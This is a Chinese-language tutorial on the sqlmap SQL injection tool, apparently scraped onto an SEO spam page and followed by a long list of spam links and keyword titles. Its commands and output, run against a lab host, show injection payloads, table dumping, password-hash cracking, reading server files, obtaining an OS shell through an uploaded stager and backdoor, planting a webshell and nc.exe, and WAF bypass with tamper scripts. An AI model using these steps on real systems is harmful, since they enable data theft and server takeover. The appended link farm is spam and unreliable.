当前位置: 首页 > news >正文

昌平做网站的公司个人网站该怎么打广告

昌平做网站的公司,个人网站该怎么打广告,织梦网站改版需要怎么做,wordpress为文章添加下载按钮目录 sqlmap工具安装: 工具说明: 主要功能特性包括: 基本使用示例: 先下载python2.7.9版本 sqlmap运行 sqlmap工具使用 -u -r –-levelLEVEL扫描深度级别 --riskRISK 执行测试的风险 -threads 线程数 -batch-smart智能…

目录

sqlmap工具安装:

工具说明:

主要功能特性包括:

基本使用示例:

先下载python2.7.9版本

 sqlmap运行

sqlmap工具使用

-u

-r

–-level=LEVEL扫描深度级别

--risk=RISK 执行测试的风险

-threads 线程数

-batch-smart智能判断测试

--mobile模拟测试手机环境站点

-m 批量注入

--force-ssl跑https网站

注入获取数据命令

获取表名

字段名

数据内容

读文件内容

系统交互的shell

写webshell

sqlmap过waf



sqlmap工具安装:

工具说明:


sqlmap 是一个强大的开源自动化工具,专门用于检测和利用SQL注入漏洞。它能够帮助安全研究人员和渗透测试人员在web应用程序中发现并利用SQL注入漏洞,进而提取数据库中的数据,甚至控制数据库服务器。Sqlmap支持多种数据库管理系统,包括但不限于MySQL、Oracle、PostgreSQL、Microsoft SQL Server、SQLite等。


主要功能特性包括:


自动化检测:自动识别SQL注入漏洞,无需手动构造复杂的注入语句。
广泛支持:支持HTTP(S)协议,能够针对GET、POST及Cookie参数进行注入测试。
数据库指纹识别:能够识别出后端数据库类型。
数据提取:可以从数据库中提取数据,包括但不限于表、列、用户权限等。
数据库接管:在某些条件下,能够实现对数据库服务器的完全控制,执行系统命令、读写文件等。
绕过技巧:内置多种绕过WAF(Web应用防火墙)和过滤机制的技术。
多线程:支持多线程扫描,提高效率。
输出报告:能够生成XML、HTML、JSON等多种格式的扫描报告。


基本使用示例:

检测注入:
  sqlmap -u "http://example.com/vulnerable.php?id=1"
指定注入参数:
  sqlmap -u "http://example.com/vulnerable.php" --param-del "=" --data "id=1&submit=Submit"
暴力猜解数据库表名:
  sqlmap -u "http://example.com/vulnerable.php?id=1" --tables
从特定表中猜解列名:
  sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name --columns
提取特定列的数据:
  sqlmap -u "http://example.com/vulnerable.php?id=1" -D database_name -T users -C "username,password"


先下载python2.7.9版本

设置环境变量:python的安装路径和scripts路径添加到电脑环境变量


 sqlmap运行

win+R

cmd

--进入win命令行
cd C:\lan\sqlmap
--sql软件路径
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1

sqlmap扫描历史记录文件夹目录:


sqlmap工具使用

-u

 

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1
-- -u为get注入
--/mysql/sql.php?id=1 是请求的具体路径,其中 sql.php 是目标脚本文件,id=1 是传递给该脚本的一个参数值。
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
--输出选Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] n
--输出一般选n
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
--输出一般选n
--生产环境测到此次已完成。 

结果解读:

结果解读:
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 24 HTTP(s) requests:
---
Place: GET
Parameter: id
--注入点位置:漏洞位于GET请求的'id'参数中
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7911=7911
--布尔型盲注; 此类注入依赖于响应中是否有变化来判断SQL语句的真假,从而逐位猜解数据。
    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x3a6773753a,0x7a59485655536e69784f,0x3a65656a3a),NULL,NULL,NULL#
--利用UNION操作符将恶意查询与原始查询结果合并,从数据库中直接提取信息。这里使用了十六进制编码来构造输出,以绕过可能的字符过滤。
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
--时间和基于OR的盲注; 通过使数据库执行一个延时操作(如SLEEP(5)),根据响应时间判断SQL语句执行情况,适合于那些仅能通过响应时间变化来判断的场景。


-r

语法:sqlmap.py -r post.txt -p 注入参数
如:sqlmap.py -r post.txt -p username,password
-- sqlmap.py是一个自动化的SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。
-- -r post.txt: 这个参数告诉sqlmap从指定的文件(post.txt)中读取原始HTTP请求。post.txt文件应包含一个或多个HTTP请求.
-- -p 注入参数:如果POST请求中有参数名为username和password,正确的用法应该是-p username,password。这个选项告诉sqlmap只针对列出的参数执行SQL注入测试。

–-level=LEVEL扫描深度级别

语法:sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1 --level 1
#执行测试的等级(1-5,默认为1);使用–-level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。

--risk=RISK 执行测试的风险

如sqlmap.py  -r C:\lan\sqlmap\1.txt  --level 3 -v 6
#-r C:\lan\sqlmap\1.txt: 使用-r参数指定一个包含HTTP请求的文件路径
#--level 3: 设置扫描的深度级别为3
#-v 6: 设置sqlmap的详细输出级别为6
ERBOSE信息级别: 0-6 (缺省1),其值具体含义:“0”只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);“2”同时显示debug信息;“3”同时显示注入的payload;“4”同时显示HTTP请求;“5”同时显示HTTP响应头;“6”同时显示HTTP响应页面;如果想看到sqlmap发送的测试payload最好的等级就是3。

-threads 线程数

线程数,如果你想让sqlmap跑的更快,可以更改这个线程 数的值,默认值为10

-batch-smart智能判断测试

C:\lan\sqlmap> sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  -batch-smart
--您的命令旨在非交互式地(即无需人工确认每一步操作)使用SQLMap对指定的Web应用程序URL进行SQL注入漏洞检测,同时希望该工具能够智能地处理测试过程中的各种情况,以提高效率和安全性。
--数据库表名、用户名、账户密码破解、数据库内容脱库保存到攻击者主机标注的目录里(违法)

1、目标URL与检测点:

目标URL为http://10.0.0.101:90/mysql/sql.php?id=1。
在GET参数id上发现了三种类型的SQL注入漏洞:
布尔型盲注(Boolean-based blind)。
联合查询注入(UNION query)。
时间延迟盲注(AND/OR time-based blind)。

2-3、数据库信息:

后端数据库管理系统(DBMS)确认为MySQL版本5.5.53,尽管在信息摘要中最初识别为5.0.11,这可能是识别或报告中的一个不一致。
当前数据库用户为root@localhost,并且此用户具有数据库管理员(DBA)权限。
当前数据库名为sql。
Web服务器操作系统为Windows,Web应用技术为PHP 5.4.45,运行在Apache 2.4.23上。
系统与用户详情:

主机名为oldboy-f74d04fe。
列出了数据库管理系统中的三个用户,均为root,分别来自不同的主机地址(127.0.0.1, ::1, localhost)
-----------------------------------说明
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
进行数据库转储操作时的详细日志输出。它显示了SQLMap如何逐个表地从指定的数据库(在这个案例中主要是performance_schema和bwapp)中提取结构和数据,并将这些信息保存为CSV文件的过程。

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
是否希望对这些哈希值进行字典攻击以尝试破解密码
[Y] 表示“是”,同意SQLMap使用内置或自定义的字典来尝试破解识别到的密码哈希。
[n] 表示“否”,不进行破解操作,仅停留在当前状态。
[q] 通常意味着“退出”,可能用于终止当前的SQLMap会话

do you want to crack them via a dictionary-based attack? [Y/n/q]
是否决定继续通过字典攻击来尝试破解已发现的密码哈希

do you want to crack them via a dictionary-based attack? [Y/n/q]
您想通过基于字典的攻击来破解它们吗?[Y/n/q]

--mobile模拟测试手机环境站点

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1 --mobile

-m 批量注入

--force-ssl跑https网站

注入获取数据命令

--dbs  //默认情况系sqlmap会自动的探测web应用后端的数据库类型:MySQL、Oracle、PostgreSQL、MicrosoftSQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAPMaxDB、DB2


--current-user:大多数数据库中可检测到数据库管理系统当前用户
--current-db:当前连接数据库名
--is-dba:判断当前的用户是否为管理
--users:列出数据库所有所有用户 

获取表名

--tables -D 数据库名

字段名

--columns -T user -D abc

数据内容

-T user -C username,password,email --dump

读文件内容

--file-read 【/etc/password】

sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  --file-read c://lan//1.txt

##--file-read: 这个选项告诉 sqlmap 尝试读取远程服务器上的一个文件。紧跟其后的 "c://lan//1.txt" 是指定要读取的文件路径。通常用于验证SQL注入漏洞的存在并尝试获取敏感信息。(尽量两个用反斜杠,一个反斜杠容易被反义)

##网站文件路径获取方式:1、注入报错方式 2、搜索引擎搜索

 

 

系统交互的shell

  • --os-shell

流程:
sqlmap.py  -u http://10.0.0.101:90/mysql/sql.php?id=1  --os-shell
--os-shell: 此选项指示sqlmap尝试获取目标系统的操作系统级别的命令执行能力,即创建一个远程shell。一旦成功,攻击者就可以通过这个shell执行任意操作系统命令,从而获得对服务器的进一步控制.

[21:08:46] [INFO] retrieved the web server document root: 'C:\phpStudy\WWW'

 --这条信息表示sqlmap成功识别了Web服务器的文档根目录。文档根目录是C:\phpStudy\WWW
[21:08:46] [INFO] retrieved web server full paths: 'C:/phpStudy/WWW/mysql/sql.php'  

--这条信息意味着sqlmap确定了请求的特定文件mysql/sql.php在服务器上的完整路径

please provide additional comma separated file paths to try to upload the agent inside the possible document: c:\\phpstudy\\WWW\\
--输入上传指定目录(根目录c:\\phpstudy\\WWW\\)

[21:10:09] [INFO] the file stager has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpuckst.php   
--这是一个临时文件,通常用于在目标服务器上部署更复杂的恶意软件或后门。文件stager是攻击的一部分,它可能包含一个小型脚本,该脚本可以下载并执行更大的恶意代码。
[21:10:09] [INFO] the backdoor has been successfully uploaded on 'C:/phpStudy/WWW' - http://10.0.0.101:90/tmpbpnbi.php  
--这是sqlmap上传的后门文件,它可能允许攻击者通过HTTP访问来执行操作系统命令。攻击者现在可以通过http://10.0.0.101:90/tmpbpnbi.php与服务器建立交互。

os-shell> ipconfig
--sqlmap已经成功获得了目标服务器的操作系统shell。提示os-shell>让你可以输入命令来执行操作系统级别的操作,输入ipconfig会运行Windows系统中的命令,显示网络接口的配置信息。

也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:
http://10.0.0.101:90/tmpuckst.php
--阅览器访问刚才sqlmap生成的.php木马(功能小马)文件;进行上传大马(与web操作系统交互)
http://10.0.0.101:90/hao.php
--阅览器访问刚才通过tmpuckst.php上传的大马进行操作系统交互。

 方式一:sqlmap命令行与web主机交互

 

 方式二:也可根据sqlmap生成的木马文件进行通过阅览器访问木马文件进行交互:

 

 

连接成功

写webshell

--file-write  "c:/1.txt” --file-dest “C:/phpStudy/WWW/3.php” -v1     
将本机的c:/1.txt文件上传到目标服务器C:/phpStudy/WWW/3.php上(可传一句话木马)
--/*将/software/nc.exe文件上传到C:/WINDOWS/Temp下*/ 

 

sqlmap过waf

--tamper "脚本"

如sqlmap.py -u http://10.0.0.101:90/mysql/sql.php?id=1  --tamper "base64encode.py" -v 5 --dbs

使用多个脚本用逗号隔开:如--tamper "base64encode.py,space2plus.py"
sqlmap.py: SQLMap的主执行文件,这是一个自动化的SQL注入工具。
-u: 参数用于指定目标URL,这里是http://10.0.0.101:90/mysql/sql.php?id=1。这告诉SQLMap要测试哪个页面的SQL注入漏洞。
--tamper "base64encode.py": 使用base64encode.py篡改器。这个脚本会将请求参数(在这个例子中是id=1)通过Base64编码,以绕过可能的安全过滤或检测机制。
-v 5: 设置详细级别为5。SQLMap有0到5的详细级别,5是最详细的,会显示所有可能的信息,包括每个请求和响应。
--dbs: 这个选项让SQLMap列出目标数据库服务器上的所有可用数据库。它会尝试获取数据库管理系统(DBMS)的元数据,以发现存在的数据库名称。

 


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

文章转载自:
http://dinncopneu.ydfr.cn
http://dinncoanatolia.ydfr.cn
http://dinncodestiny.ydfr.cn
http://dinncobelow.ydfr.cn
http://dinncomidas.ydfr.cn
http://dinncoplectron.ydfr.cn
http://dinncoshowdown.ydfr.cn
http://dinncobladesmith.ydfr.cn
http://dinncocentiare.ydfr.cn
http://dinncoscreed.ydfr.cn
http://dinncowind.ydfr.cn
http://dinncofahlband.ydfr.cn
http://dinncosuramin.ydfr.cn
http://dinncocoowner.ydfr.cn
http://dinncocowpoke.ydfr.cn
http://dinncoflowerage.ydfr.cn
http://dinncostardom.ydfr.cn
http://dinncoerotogenic.ydfr.cn
http://dinncoshow.ydfr.cn
http://dinncosheriffwick.ydfr.cn
http://dinncooutdoor.ydfr.cn
http://dinncoquoth.ydfr.cn
http://dinncorostellum.ydfr.cn
http://dinncodreggy.ydfr.cn
http://dinncotrump.ydfr.cn
http://dinncomfn.ydfr.cn
http://dinncopiecewise.ydfr.cn
http://dinncotaurin.ydfr.cn
http://dinncowearisome.ydfr.cn
http://dinncoenspirit.ydfr.cn
http://dinncokentishman.ydfr.cn
http://dinncomoat.ydfr.cn
http://dinncoheliologist.ydfr.cn
http://dinncotrusting.ydfr.cn
http://dinncoasleep.ydfr.cn
http://dinncountimeous.ydfr.cn
http://dinncodinky.ydfr.cn
http://dinncofarceuse.ydfr.cn
http://dinncoopiatic.ydfr.cn
http://dinncohecate.ydfr.cn
http://dinncostirp.ydfr.cn
http://dinncofederatively.ydfr.cn
http://dinncogaelic.ydfr.cn
http://dinncoflagellate.ydfr.cn
http://dinncorefution.ydfr.cn
http://dinncomariology.ydfr.cn
http://dinncoholeproof.ydfr.cn
http://dinncoangel.ydfr.cn
http://dinncobeachhead.ydfr.cn
http://dinncocasque.ydfr.cn
http://dinncoelasmobranch.ydfr.cn
http://dinncoproglottis.ydfr.cn
http://dinncorush.ydfr.cn
http://dinncoopen.ydfr.cn
http://dinncoautopotamic.ydfr.cn
http://dinncoquislism.ydfr.cn
http://dinncokaifeng.ydfr.cn
http://dinncoemplace.ydfr.cn
http://dinncomadman.ydfr.cn
http://dinncoerma.ydfr.cn
http://dinncofrazil.ydfr.cn
http://dinncoinsurrectionary.ydfr.cn
http://dinncoapostrophe.ydfr.cn
http://dinncoammonic.ydfr.cn
http://dinncodekameter.ydfr.cn
http://dinncodisentomb.ydfr.cn
http://dinncoparesthesia.ydfr.cn
http://dinncohapless.ydfr.cn
http://dinncorecta.ydfr.cn
http://dinncorabaul.ydfr.cn
http://dinncosuboxide.ydfr.cn
http://dinncohadramaut.ydfr.cn
http://dinncodextrocardial.ydfr.cn
http://dinncoinfundibulum.ydfr.cn
http://dinncohandprint.ydfr.cn
http://dinncodiploid.ydfr.cn
http://dinncosandglass.ydfr.cn
http://dinncorelativist.ydfr.cn
http://dinncooni.ydfr.cn
http://dinncoembranchment.ydfr.cn
http://dinncobaronetcy.ydfr.cn
http://dinncocombinability.ydfr.cn
http://dinncoepicedium.ydfr.cn
http://dinncomethought.ydfr.cn
http://dinncodemerara.ydfr.cn
http://dinncofarmy.ydfr.cn
http://dinncogaspereau.ydfr.cn
http://dinncobacteroid.ydfr.cn
http://dinncobakeshop.ydfr.cn
http://dinncosupertonic.ydfr.cn
http://dinncomonmouth.ydfr.cn
http://dinncoconcave.ydfr.cn
http://dinncoequivocator.ydfr.cn
http://dinncosasebo.ydfr.cn
http://dinncomorel.ydfr.cn
http://dinncochirm.ydfr.cn
http://dinncopuissant.ydfr.cn
http://dinncocithaeron.ydfr.cn
http://dinncorheologist.ydfr.cn
http://dinncotorchlight.ydfr.cn
http://www.dinnco.com/news/102756.html

相关文章:

  • 哈尔滨网站优化页面手机百度下载app
  • 做任务刷王者皮肤网站品牌营销的四大策略
  • 做logo用什么网站seo线下培训课程
  • 福田皇岗社区做网站aso投放平台
  • 装修公司联系方式汇总搜索引擎简称seo
  • 室内设计学校有哪些邵阳seo优化
  • 建设银行etc官方网站广州专门做seo的公司
  • 建设物流网站的规划江门seo
  • 合肥行业网站建设刷网站关键词工具
  • 学做网站开发要1万6长沙网站seo推广公司
  • 百度网站建设平台小姐关键词代发排名
  • 网站托管公司吉林刷关键词排名优化软件
  • 西安网站建设公司南宁seo优化公司
  • 哈尔滨建站流程seo关键词怎么填
  • 开微信公众号流程梅州seo
  • 镇巴作风建设网站sem是什么意思呢
  • 网站最好服务器营销模式方案
  • 农业种植养殖网站建设抖音seo系统
  • 做国际物流需网站企业培训课程价格
  • 亚马逊网站如何做商家排名seo企业建站系统
  • 用discuz做的手机网站东莞网站推广策划
  • 做网站靠谱的软件公司外贸网站推广费用
  • 江苏省住房城乡建设部网站百度快照查询入口
  • 做网站适合用什么字体今日新闻摘抄二十条
  • 建筑工地常用模板种类广州优化疫情防控措施
  • 苏州网站建设有限公司武汉seo排名公司
  • 化妆品行业的网站开发兰州seo优化公司
  • 临沂高端网站建设百度云资源
  • 网站架构图怎么画合肥seo整站优化网站
  • 企业网站找谁做好属于免费的网络营销方式